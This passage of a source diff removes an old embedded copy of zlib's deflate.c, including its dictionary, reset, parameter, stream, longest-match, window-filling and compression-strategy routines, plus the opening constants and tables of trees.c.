Z_OK; - if (length > MAX_DIST(s)) { - length = MAX_DIST(s); -#ifndef USE_DICT_HEAD - dictionary += dictLength - length; /* use the tail of the dictionary */ -#endif - } - zmemcpy((charf *)s->window, dictionary, length); - s->strstart = length; - s->block_start = (long)length; - - /* Insert all strings in the hash table (except for the last two bytes). - * s->lookahead stays null, so s->ins_h will be recomputed at the next - * call of fill_window. - */ - s->ins_h = s->window[0]; - UPDATE_HASH(s, s->ins_h, s->window[1]); - for (n = 0; n <= length - MIN_MATCH; n++) { - INSERT_STRING(s, n, hash_head); - } - if (hash_head) hash_head = 0; /* to make compiler happy */ - return Z_OK; -} - -/* ========================================================================= */ -int deflateReset(z_streamp strm) -{ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - strm->zalloc == Z_NULL || strm->zfree == Z_NULL) return Z_STREAM_ERROR; - - strm->total_in = strm->total_out = 0; - strm->msg = Z_NULL; /* use zfree if we ever allocate msg dynamically */ - strm->data_type = Z_UNKNOWN; - - s = (deflate_state *)strm->state; - s->pending = 0; - s->pending_out = s->pending_buf; - - if (s->noheader < 0) { - s->noheader = 0; /* was set to -1 by deflate(..., Z_FINISH); */ - } - s->status = s->noheader ? BUSY_STATE : INIT_STATE; - strm->adler = 1; - s->last_flush = Z_NO_FLUSH; - - _tr_init(s); - lm_init(s); - - return Z_OK; -} - -/* ========================================================================= */ -int deflateParams(z_streamp strm, int level, int strategy) -{ - deflate_state *s; - compress_func func; - int err = Z_OK; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - if (level == Z_DEFAULT_COMPRESSION) { - level = 6; - } - if (level < 0 || level > 9 || strategy < 0 || strategy > Z_HUFFMAN_ONLY) { - return Z_STREAM_ERROR; - } - func = configuration_table[s->level].func; - - if (func != configuration_table[level].func && strm->total_in != 0) { - /* Flush the last buffer: */ - err = deflate(strm, Z_PARTIAL_FLUSH); - } - if (s->level != level) { - s->level = level; - s->max_lazy_match = configuration_table[level].max_lazy; - s->good_match = configuration_table[level].good_length; - s->nice_match = configuration_table[level].nice_length; - s->max_chain_length = configuration_table[level].max_chain; - } - s->strategy = strategy; - return err; -} - -/* ========================================================================= - * Put a short in the pending buffer. The 16-bit value is put in MSB order. - * IN assertion: the stream state is correct and there is enough room in - * pending_buf. - */ -local void putShortMSB (deflate_state *s, uInt b) -{ - put_byte(s, (Byte)(b >> 8)); - put_byte(s, (Byte)(b & 0xff)); -} - -/* ========================================================================= - * Flush as much pending output as possible. All deflate() output goes - * through this function so some applications may wish to modify it - * to avoid allocating a large strm->next_out buffer and copying into it. - * (See also read_buf()). - */ -local void flush_pending(z_streamp strm) -{ - deflate_state *s = (deflate_state *) strm->state; - unsigned len = s->pending; - - if (len > strm->avail_out) len = strm->avail_out; - if (len == 0) return; - - if (strm->next_out != Z_NULL) { - zmemcpy(strm->next_out, s->pending_out, len); - strm->next_out += len; - } - s->pending_out += len; - strm->total_out += len; - strm->avail_out -= len; - s->pending -= len; - if (s->pending == 0) { - s->pending_out = s->pending_buf; - } -} - -/* ========================================================================= */ -int deflate (z_streamp strm, int flush) -{ - int old_flush; /* value of flush param for previous deflate call */ - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL || - flush > Z_FINISH || flush < 0) { - return Z_STREAM_ERROR; - } - s = (deflate_state *) strm->state; - - if ((strm->next_in == Z_NULL && strm->avail_in != 0) || - (s->status == FINISH_STATE && flush != Z_FINISH)) { - ERR_RETURN(strm, Z_STREAM_ERROR); - } - if (strm->avail_out == 0) ERR_RETURN(strm, Z_BUF_ERROR); - - s->strm = strm; /* just in case */ - old_flush = s->last_flush; - s->last_flush = flush; - - /* Write the zlib header */ - if (s->status == INIT_STATE) { - - uInt header = (Z_DEFLATED + ((s->w_bits-8)<<4)) << 8; - uInt level_flags = (s->level-1) >> 1; - - if (level_flags > 3) level_flags = 3; - header |= (level_flags << 6); - if (s->strstart != 0) header |= PRESET_DICT; - header += 31 - (header % 31); - - s->status = BUSY_STATE; - putShortMSB(s, header); - - /* Save the adler32 of the preset dictionary: */ - if (s->strstart != 0) { - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - } - strm->adler = 1L; - } - - /* Flush as much pending output as possible */ - if (s->pending != 0) { - flush_pending(strm); - if (strm->avail_out == 0) { - /* Since avail_out is 0, deflate will be called again with - * more output space, but possibly with both pending and - * avail_in equal to zero. There won't be anything to do, - * but this is not an error situation so make sure we - * return OK instead of BUF_ERROR at next call of deflate: - */ - s->last_flush = -1; - return Z_OK; - } - - /* Make sure there is something to do and avoid duplicate consecutive - * flushes. For repeated and useless calls with Z_FINISH, we keep - * returning Z_STREAM_END instead of Z_BUFF_ERROR. - */ - } else if (strm->avail_in == 0 && flush <= old_flush && - flush != Z_FINISH) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* User must not provide more input after the first FINISH: */ - if (s->status == FINISH_STATE && strm->avail_in != 0) { - ERR_RETURN(strm, Z_BUF_ERROR); - } - - /* Start a new block or continue the current one. - */ - if (strm->avail_in != 0 || s->lookahead != 0 || - (flush != Z_NO_FLUSH && s->status != FINISH_STATE)) { - block_state bstate; - - bstate = (*(configuration_table[s->level].func))(s, flush); - - if (bstate == finish_started || bstate == finish_done) { - s->status = FINISH_STATE; - } - if (bstate == need_more || bstate == finish_started) { - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR next call, see above */ - } - return Z_OK; - /* If flush != Z_NO_FLUSH && avail_out == 0, the next call - * of deflate should use the same flush parameter to make sure - * that the flush is complete. So we don't have to output an - * empty block here, this will be done at next call. This also - * ensures that for a very small output buffer, we emit at most - * one empty block. - */ - } - if (bstate == block_done) { - if (flush == Z_PARTIAL_FLUSH) { - _tr_align(s); - } else if (flush == Z_PACKET_FLUSH) { - /* Output just the 3-bit `stored' block type value, - but not a zero length. */ - _tr_stored_type_only(s); - } else { /* FULL_FLUSH or SYNC_FLUSH */ - _tr_stored_block(s, (char*)0, 0L, 0); - /* For a full flush, this empty block will be recognized - * as a special marker by inflate_sync(). - */ - if (flush == Z_FULL_FLUSH) { - CLEAR_HASH(s); /* forget history */ - } - } - flush_pending(strm); - if (strm->avail_out == 0) { - s->last_flush = -1; /* avoid BUF_ERROR at next call, see above */ - return Z_OK; - } - } - } - Assert(strm->avail_out > 0, "bug2"); - - if (flush != Z_FINISH) return Z_OK; - if (s->noheader) return Z_STREAM_END; - - /* Write the zlib trailer (adler32) */ - putShortMSB(s, (uInt)(strm->adler >> 16)); - putShortMSB(s, (uInt)(strm->adler & 0xffff)); - flush_pending(strm); - /* If avail_out is zero, the application will call deflate again - * to flush the rest. - */ - s->noheader = -1; /* write the trailer only once! */ - return s->pending != 0 ? Z_OK : Z_STREAM_END; -} - -/* ========================================================================= */ -int deflateEnd (strm) - z_streamp strm; -{ - int status; - deflate_state *s; - - if (strm == Z_NULL || strm->state == Z_NULL) return Z_STREAM_ERROR; - s = (deflate_state *) strm->state; - - status = s->status; - if (status != INIT_STATE && status != BUSY_STATE && - status != FINISH_STATE) { - return Z_STREAM_ERROR; - } - - /* Deallocate in reverse order of allocations: */ - TRY_FREE(strm, s->pending_buf); - TRY_FREE(strm, s->head); - TRY_FREE(strm, s->prev); - TRY_FREE(strm, s->window); - - ZFREE(strm, s); - strm->state = Z_NULL; - - return status == BUSY_STATE ? Z_DATA_ERROR : Z_OK; -} - -/* ========================================================================= - * Copy the source state to the destination state. - */ -int deflateCopy (dest, source) - z_streamp dest; - z_streamp source; -{ - deflate_state *ds; - deflate_state *ss; - ushf *overlay; - - if (source == Z_NULL || dest == Z_NULL || source->state == Z_NULL) - return Z_STREAM_ERROR; - ss = (deflate_state *) source->state; - - zmemcpy(dest, source, sizeof(*dest)); - - ds = (deflate_state *) ZALLOC(dest, 1, sizeof(deflate_state)); - if (ds == Z_NULL) return Z_MEM_ERROR; - dest->state = (struct internal_state FAR *) ds; - zmemcpy(ds, ss, sizeof(*ds)); - ds->strm = dest; - - ds->window = (Bytef *) ZALLOC(dest, ds->w_size, 2*sizeof(Byte)); - ds->prev = (Posf *) ZALLOC(dest, ds->w_size, sizeof(Pos)); - ds->head = (Posf *) ZALLOC(dest, ds->hash_size, sizeof(Pos)); - overlay = (ushf *) ZALLOC(dest, ds->lit_bufsize, sizeof(ush)+2); - ds->pending_buf = (uchf *) overlay; - - if (ds->window == Z_NULL || ds->prev == Z_NULL || ds->head == Z_NULL || - ds->pending_buf == Z_NULL) { - deflateEnd (dest); - return Z_MEM_ERROR; - } - /* ??? following zmemcpy doesn't work for 16-bit MSDOS */ - zmemcpy(ds->window, ss->window, ds->w_size * 2 * sizeof(Byte)); - zmemcpy(ds->prev, ss->prev, ds->w_size * sizeof(Pos)); - zmemcpy(ds->head, ss->head, ds->hash_size * sizeof(Pos)); - zmemcpy(ds->pending_buf, ss->pending_buf, (uInt)ds->pending_buf_size); - - ds->pending_out = ds->pending_buf + (ss->pending_out - ss->pending_buf); - ds->d_buf = overlay + ds->lit_bufsize/sizeof(ush); - ds->l_buf = ds->pending_buf + (1+sizeof(ush))*ds->lit_bufsize; - - ds->l_desc.dyn_tree = ds->dyn_ltree; - ds->d_desc.dyn_tree = ds->dyn_dtree; - ds->bl_desc.dyn_tree = ds->bl_tree; - - return Z_OK; -} - -/* =========================================================================== - * Return the number of bytes of output which are immediately available - * for output from the decompressor. - */ -int deflateOutputPending (strm) - z_streamp strm; -{ - if (strm == Z_NULL || strm->state == Z_NULL) return 0; - - return ((deflate_state *)(strm->state))->pending; -} - -/* =========================================================================== - * Read a new buffer from the current input stream, update the adler32 - * and total number of bytes read. All deflate() input goes through - * this function so some applications may wish to modify it to avoid - * allocating a large strm->next_in buffer and copying from it. - * (See also flush_pending()). - */ -local int read_buf(strm, buf, size) - z_streamp strm; - charf *buf; - unsigned size; -{ - unsigned len = strm->avail_in; - - if (len > size) len = size; - if (len == 0) return 0; - - strm->avail_in -= len; - - if (!((deflate_state *)(strm->state))->noheader) { - strm->adler = adler32(strm->adler, strm->next_in, len); - } - zmemcpy(buf, strm->next_in, len); - strm->next_in += len; - strm->total_in += len; - - return (int)len; -} - -/* =========================================================================== - * Initialize the "longest match" routines for a new zlib stream - */ -local void lm_init (s) - deflate_state *s; -{ - s->window_size = (ulg)2L*s->w_size; - - CLEAR_HASH(s); - - /* Set the default configuration parameters: - */ - s->max_lazy_match = configuration_table[s->level].max_lazy; - s->good_match = configuration_table[s->level].good_length; - s->nice_match = configuration_table[s->level].nice_length; - s->max_chain_length = configuration_table[s->level].max_chain; - - s->strstart = 0; - s->block_start = 0L; - s->lookahead = 0; - s->match_length = s->prev_length = MIN_MATCH-1; - s->match_available = 0; - s->ins_h = 0; -#ifdef ASMV - match_init(); /* initialize the asm code */ -#endif -} - -/* =========================================================================== - * Set match_start to the longest match starting at the given string and - * return its length. Matches shorter or equal to prev_length are discarded, - * in which case the result is equal to prev_length and match_start is - * garbage. - * IN assertions: cur_match is the head of the hash chain for the current - * string (strstart) and its distance is <= MAX_DIST, and prev_length >= 1 - * OUT assertion: the match length is not greater than s->lookahead. - */ -#ifndef ASMV -/* For 80x86 and 680x0, an optimized version will be provided in match.asm or - * match.S. The code will be functionally equivalent. - */ -local uInt longest_match(s, cur_match) - deflate_state *s; - IPos cur_match; /* current match */ -{ - unsigned chain_length = s->max_chain_length;/* max hash chain length */ - register Bytef *scan = s->window + s->strstart; /* current string */ - register Bytef *match; /* matched string */ - register int len; /* length of current match */ - int best_len = s->prev_length; /* best match length so far */ - int nice_match = s->nice_match; /* stop if match long enough */ - IPos limit = s->strstart > (IPos)MAX_DIST(s) ? - s->strstart - (IPos)MAX_DIST(s) : NIL; - /* Stop when cur_match becomes <= limit. To simplify the code, - * we prevent matches with the string of window index 0. - */ - Posf *prev = s->prev; - uInt wmask = s->w_mask; - -#ifdef UNALIGNED_OK - /* Compare two bytes at a time. Note: this is not always beneficial. - * Try with and without -DUNALIGNED_OK to check. - */ - register Bytef *strend = s->window + s->strstart + MAX_MATCH - 1; - register ush scan_start = *(ushf*)scan; - register ush scan_end = *(ushf*)(scan+best_len-1); -#else - register Bytef *strend = s->window + s->strstart + MAX_MATCH; - register Byte scan_end1 = scan[best_len-1]; - register Byte scan_end = scan[best_len]; -#endif - - /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16. - * It is easy to get rid of this optimization if necessary. - */ - Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever"); - - /* Do not waste too much time if we already have a good match: */ - if (s->prev_length >= s->good_match) { - chain_length >>= 2; - } - /* Do not look for matches beyond the end of the input. This is necessary - * to make deflate deterministic. - */ - if ((uInt)nice_match > s->lookahead) nice_match = s->lookahead; - - Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead"); - - do { - Assert(cur_match < s->strstart, "no future"); - match = s->window + cur_match; - - /* Skip to next match if the match length cannot increase - * or if the match length is less than 2: - */ -#if (defined(UNALIGNED_OK) && MAX_MATCH == 258) - /* This code assumes sizeof(unsigned short) == 2. Do not use - * UNALIGNED_OK if your compiler uses a different size. - */ - if (*(ushf*)(match+best_len-1) != scan_end || - *(ushf*)match != scan_start) continue; - - /* It is not necessary to compare scan[2] and match[2] since they are - * always equal when the other bytes match, given that the hash keys - * are equal and that HASH_BITS >= 8. Compare 2 bytes at a time at - * strstart+3, +5, ... up to strstart+257. We check for insufficient - * lookahead only every 4th comparison; the 128th check will be made - * at strstart+257. If MAX_MATCH-2 is not a multiple of 8, it is - * necessary to put more guard bytes at the end of the window, or - * to check more often for insufficient lookahead. - */ - Assert(scan[2] == match[2], "scan[2]?"); - scan++, match++; - do { - } while (*(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - *(ushf*)(scan+=2) == *(ushf*)(match+=2) && - scan < strend); - /* The funny "do {}" generates better code on most compilers */ - - /* Here, scan <= window+strstart+257 */ - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - if (*scan == *match) scan++; - - len = (MAX_MATCH - 1) - (int)(strend-scan); - scan = strend - (MAX_MATCH-1); - -#else /* UNALIGNED_OK */ - - if (match[best_len] != scan_end || - match[best_len-1] != scan_end1 || - *match != *scan || - *++match != scan[1]) continue; - - /* The check at best_len-1 can be removed because it will be made - * again later. (This heuristic is not always a win.) - * It is not necessary to compare scan[2] and match[2] since they - * are always equal when the other bytes match, given that - * the hash keys are equal and that HASH_BITS >= 8. - */ - scan += 2, match++; - Assert(*scan == *match, "match[2]?"); - - /* We check for insufficient lookahead only every 8th comparison; - * the 256th check will be made at strstart+258. - */ - do { - } while (*++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - *++scan == *++match && *++scan == *++match && - scan < strend); - - Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan"); - - len = MAX_MATCH - (int)(strend - scan); - scan = strend - MAX_MATCH; - -#endif /* UNALIGNED_OK */ - - if (len > best_len) { - s->match_start = cur_match; - best_len = len; - if (len >= nice_match) break; -#ifdef UNALIGNED_OK - scan_end = *(ushf*)(scan+best_len-1); -#else - scan_end1 = scan[best_len-1]; - scan_end = scan[best_len]; -#endif - } - } while ((cur_match = prev[cur_match & wmask]) > limit - && --chain_length != 0); - - if ((uInt)best_len <= s->lookahead) return best_len; - return s->lookahead; -} -#endif /* ASMV */ - -#ifdef DEBUG_ZLIB -/* =========================================================================== - * Check that the match at match_start is indeed a match. - */ -local void check_match(s, start, match, length) - deflate_state *s; - IPos start, match; - int length; -{ - /* check that the match is indeed a match */ - if (zmemcmp((charf *)s->window + match, - (charf *)s->window + start, length) != EQUAL) { - fprintf(stderr, " start %u, match %u, length %d\n", - start, match, length); - do { - fprintf(stderr, "%c%c", s->window[match++], s->window[start++]); - } while (--length != 0); - z_error("invalid match"); - } - if (z_verbose > 1) { - fprintf(stderr,"\\[%d,%d]", start-match, length); - do { putc(s->window[start++], stderr); } while (--length != 0); - } -} -#else -# define check_match(s, start, match, length) -#endif - -/* =========================================================================== - * Fill the window when the lookahead becomes insufficient. - * Updates strstart and lookahead. - * - * IN assertion: lookahead < MIN_LOOKAHEAD - * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD - * At least one byte has been read, or avail_in == 0; reads are - * performed for at least two bytes (required for the zip translate_eol - * option -- not supported here). - */ -local void fill_window(s) - deflate_state *s; -{ - register unsigned n, m; - register Posf *p; - unsigned more; /* Amount of free space at the end of the window. */ - uInt wsize = s->w_size; - - do { - more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart); - - /* Deal with !@#$% 64K limit: */ - if (more == 0 && s->strstart == 0 && s->lookahead == 0) { - more = wsize; - - } else if (more == (unsigned)(-1)) { - /* Very unlikely, but possible on 16 bit machine if strstart == 0 - * and lookahead == 1 (input done one byte at time) - */ - more--; - - /* If the window is almost full and there is insufficient lookahead, - * move the upper half to the lower one to make room in the upper half. - */ - } else if (s->strstart >= wsize+MAX_DIST(s)) { - - zmemcpy((charf *)s->window, (charf *)s->window+wsize, - (unsigned)wsize); - s->match_start -= wsize; - s->strstart -= wsize; /* we now have strstart >= MAX_DIST */ - s->block_start -= (long) wsize; - - /* Slide the hash table (could be avoided with 32 bit values - at the expense of memory usage). We slide even when level == 0 - to keep the hash table consistent if we switch back to level > 0 - later. (Using level 0 permanently is not an optimal usage of - zlib, so we don't care about this pathological case.) - */ - n = s->hash_size; - p = &s->head[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - } while (--n); - - n = wsize; - p = &s->prev[n]; - do { - m = *--p; - *p = (Pos)(m >= wsize ? m-wsize : NIL); - /* If n is not on any hash chain, prev[n] is garbage but - * its value will never be used. - */ - } while (--n); - more += wsize; - } - if (s->strm->avail_in == 0) return; - - /* If there was no sliding: - * strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 && - * more == window_size - lookahead - strstart - * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1) - * => more >= window_size - 2*WSIZE + 2 - * In the BIG_MEM or MMAP case (not yet supported), - * window_size == input_size + MIN_LOOKAHEAD && - * strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD. - * Otherwise, window_size == 2*WSIZE so more >= 2. - * If there was sliding, more >= WSIZE. So in all cases, more >= 2. - */ - Assert(more >= 2, "more < 2"); - - n = read_buf(s->strm, (charf *)s->window + s->strstart + s->lookahead, - more); - s->lookahead += n; - - /* Initialize the hash value now that we have some input: */ - if (s->lookahead >= MIN_MATCH) { - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - } - /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage, - * but this is not important since only literal bytes will be emitted. - */ - - } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0); -} - -/* =========================================================================== - * Flush the current block, with given end-of-file flag. - * IN assertion: strstart is set to the end of the current match. - */ -#define FLUSH_BLOCK_ONLY(s, eof) { \ - _tr_flush_block(s, (s->block_start >= 0L ? \ - (charf *)&s->window[(unsigned)s->block_start] : \ - (charf *)Z_NULL), \ - (ulg)((long)s->strstart - s->block_start), \ - (eof)); \ - s->block_start = s->strstart; \ - flush_pending(s->strm); \ - Tracev((stderr,"[FLUSH]")); \ -} - -/* Same but force premature exit if necessary. */ -#define FLUSH_BLOCK(s, eof) { \ - FLUSH_BLOCK_ONLY(s, eof); \ - if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \ -} - -/* =========================================================================== - * Copy without compression as much as possible from the input stream, return - * the current block state. - * This function does not insert new strings in the dictionary since - * uncompressible data is probably not useful. This function is used - * only for the level=0 compression option. - * NOTE: this function should be optimized to avoid extra copying from - * window to pending_buf. - */ -local block_state deflate_stored(s, flush) - deflate_state *s; - int flush; -{ - /* Stored blocks are limited to 0xffff bytes, pending_buf is limited - * to pending_buf_size, and each stored block has a 5 byte header: - */ - ulg max_block_size = 0xffff; - ulg max_start; - - if (max_block_size > s->pending_buf_size - 5) { - max_block_size = s->pending_buf_size - 5; - } - - /* Copy as much as possible from input to output: */ - for (;;) { - /* Fill the window as much as possible: */ - if (s->lookahead <= 1) { - - Assert(s->strstart < s->w_size+MAX_DIST(s) || - s->block_start >= (long)s->w_size, "slide too late"); - - fill_window(s); - if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more; - - if (s->lookahead == 0) break; /* flush the current block */ - } - Assert(s->block_start >= 0L, "block gone"); - - s->strstart += s->lookahead; - s->lookahead = 0; - - /* Emit a stored block if pending_buf will be full: */ - max_start = s->block_start + max_block_size; - if (s->strstart == 0 || (ulg)s->strstart >= max_start) { - /* strstart == 0 is possible when wraparound on 16-bit machine */ - s->lookahead = (uInt)(s->strstart - max_start); - s->strstart = (uInt)max_start; - FLUSH_BLOCK(s, 0); - } - /* Flush if we may have to slide, otherwise block_start may become - * negative and the data will be gone: - */ - if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) { - FLUSH_BLOCK(s, 0); - } - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Compress as much as possible from the input stream, return the current - * block state. - * This function does not perform lazy evaluation of matches and inserts - * new strings in the dictionary only for unmatched strings or for short - * matches. It is used only for the fast compression options. - */ -local block_state deflate_fast(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of the hash chain */ - int bflush; /* set if current block must be flushed */ - - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - * At this point we have always match_length < MIN_MATCH - */ - if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - } - if (s->match_length >= MIN_MATCH) { - check_match(s, s->strstart, s->match_start, s->match_length); - - bflush = _tr_tally(s, s->strstart - s->match_start, - s->match_length - MIN_MATCH); - - s->lookahead -= s->match_length; - - /* Insert new strings in the hash table only if the match length - * is not too large. This saves time but degrades compression. - */ - if (s->match_length <= s->max_insert_length && - s->lookahead >= MIN_MATCH) { - s->match_length--; /* string at strstart already in hash table */ - do { - s->strstart++; - INSERT_STRING(s, s->strstart, hash_head); - /* strstart never exceeds WSIZE-MAX_MATCH, so there are - * always MIN_MATCH bytes ahead. - */ - } while (--s->match_length != 0); - s->strstart++; - } else { - s->strstart += s->match_length; - s->match_length = 0; - s->ins_h = s->window[s->strstart]; - UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]); -#if MIN_MATCH != 3 - Call UPDATE_HASH() MIN_MATCH-3 more times -#endif - /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not - * matter since it will be recomputed at next deflate call. - */ - } - } else { - /* No match, output a literal byte */ - Tracevv((stderr,"%c", s->window[s->strstart])); - bflush = _tr_tally (s, 0, s->window[s->strstart]); - s->lookahead--; - s->strstart++; - } - if (bflush) FLUSH_BLOCK(s, 0); - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} - -/* =========================================================================== - * Same as above, but achieves better compression. We use a lazy - * evaluation for matches: a match is finally adopted only if there is - * no better match at the next window position. - */ -local block_state deflate_slow(s, flush) - deflate_state *s; - int flush; -{ - IPos hash_head = NIL; /* head of hash chain */ - int bflush; /* set if current block must be flushed */ - - /* Process the input block. */ - for (;;) { - /* Make sure that we always have enough lookahead, except - * at the end of the input file. We need MAX_MATCH bytes - * for the next match, plus MIN_MATCH bytes to insert the - * string following the next match. - */ - if (s->lookahead < MIN_LOOKAHEAD) { - fill_window(s); - if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) { - return need_more; - } - if (s->lookahead == 0) break; /* flush the current block */ - } - - /* Insert the string window[strstart .. strstart+2] in the - * dictionary, and set hash_head to the head of the hash chain: - */ - if (s->lookahead >= MIN_MATCH) { - INSERT_STRING(s, s->strstart, hash_head); - } - - /* Find the longest match, discarding those <= prev_length. - */ - s->prev_length = s->match_length, s->prev_match = s->match_start; - s->match_length = MIN_MATCH-1; - - if (hash_head != NIL && s->prev_length < s->max_lazy_match && - s->strstart - hash_head <= MAX_DIST(s)) { - /* To simplify the code, we prevent matches with the string - * of window index 0 (in particular we have to avoid a match - * of the string with itself at the start of the input file). - */ - if (s->strategy != Z_HUFFMAN_ONLY) { - s->match_length = longest_match (s, hash_head); - } - /* longest_match() sets match_start */ - - if (s->match_length <= 5 && (s->strategy == Z_FILTERED || - (s->match_length == MIN_MATCH && - s->strstart - s->match_start > TOO_FAR))) { - - /* If prev_match is also MIN_MATCH, match_start is garbage - * but we will ignore the current match anyway. - */ - s->match_length = MIN_MATCH-1; - } - } - /* If there was a match at the previous step and the current - * match is not better, output the previous match: - */ - if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) { - uInt max_insert = s->strstart + s->lookahead - MIN_MATCH; - /* Do not insert strings in hash table beyond this. */ - - check_match(s, s->strstart-1, s->prev_match, s->prev_length); - - bflush = _tr_tally(s, s->strstart -1 - s->prev_match, - s->prev_length - MIN_MATCH); - - /* Insert in hash table all strings up to the end of the match. - * strstart-1 and strstart are already inserted. If there is not - * enough lookahead, the last two strings are not inserted in - * the hash table. - */ - s->lookahead -= s->prev_length-1; - s->prev_length -= 2; - do { - if (++s->strstart <= max_insert) { - INSERT_STRING(s, s->strstart, hash_head); - } - } while (--s->prev_length != 0); - s->match_available = 0; - s->match_length = MIN_MATCH-1; - s->strstart++; - - if (bflush) FLUSH_BLOCK(s, 0); - - } else if (s->match_available) { - /* If there was no match at the previous position, output a - * single literal. If there was a match but the current match - * is longer, truncate the previous match to a single literal. - */ - Tracevv((stderr,"%c", s->window[s->strstart-1])); - if (_tr_tally (s, 0, s->window[s->strstart-1])) { - FLUSH_BLOCK_ONLY(s, 0); - } - s->strstart++; - s->lookahead--; - if (s->strm->avail_out == 0) return need_more; - } else { - /* There is no previous match to compare with, wait for - * the next step to decide. - */ - s->match_available = 1; - s->strstart++; - s->lookahead--; - } - } - Assert (flush != Z_NO_FLUSH, "no flush?"); - if (s->match_available) { - Tracevv((stderr,"%c", s->window[s->strstart-1])); - _tr_tally (s, 0, s->window[s->strstart-1]); - s->match_available = 0; - } - FLUSH_BLOCK(s, flush == Z_FINISH); - return flush == Z_FINISH ? finish_done : block_done; -} -/* --- deflate.c */ - -/* +++ trees.c */ -/* trees.c -- output deflated data using Huffman coding - * Copyright (C) 1995-1996 Jean-loup Gailly - * For conditions of distribution and use, see copyright notice in zlib.h - */ - -/* - * ALGORITHM - * - * The "deflation" process uses several Huffman trees. The more - * common source values are represented by shorter bit sequences. - * - * Each code tree is stored in a compressed form which is itself - * a Huffman encoding of the lengths of all the code strings (in - * ascending order by source values). The actual code strings are - * reconstructed from the lengths in the inflate process, as described - * in the deflate specification. - * - * REFERENCES - * - * Deutsch, L.P.,"'Deflate' Compressed Data Format Specification". - * Available in ftp.uu.net:/pub/archiving/zip/doc/deflate-1.1.doc - * - * Storer, James A. - * Data Compression: Methods and Theory, pp. 49-50. - * Computer Science Press, 1988. ISBN 0-7167-8156-5. - * - * Sedgewick, R. - * Algorithms, p290. - * Addison-Wesley, 1983. ISBN 0-201-06672-6. - */ - -/* From: trees.c,v 1.11 1996/07/24 13:41:06 me Exp $ */ - -/* #include "deflate.h" */ - -#ifdef DEBUG_ZLIB -# include -#endif - -/* =========================================================================== - * Constants - */ - -#define MAX_BL_BITS 7 -/* Bit length codes must not exceed MAX_BL_BITS bits */ - -#define END_BLOCK 256 -/* end of block literal code */ - -#define REP_3_6 16 -/* repeat previous bit length 3-6 times (2 bits of repeat count) */ - -#define REPZ_3_10 17 -/* repeat a zero length 3-10 times (3 bits of repeat count) */ - -#define REPZ_11_138 18 -/* repeat a zero length 11-138 times (7 bits of repeat count) */ - -local int extra_lbits[LENGTH_CODES] /* extra bits for each length code */ - = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0}; - -local int extra_dbits[D_CODES] /* extra bits for each distance code */ - = {0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13}; - -local int extra_blbits[BL_CODES]/* extra bits for each bit length code */ - = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7}; - -local uch bl_order[BL_CODES] - = {16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15}; -/* The lengths of the bit length codes are sent in order of decreasing - * probability, to avoid transmitting the lengths for unused bit length codes. - */ - -#define Buf_size (8 * 2*sizeof(char)) -/* Number of bits used within bi_buf. (bi_buf might be implemented on - * more than 16 bits on some systems.) - */ - -/* =========================================================================== - 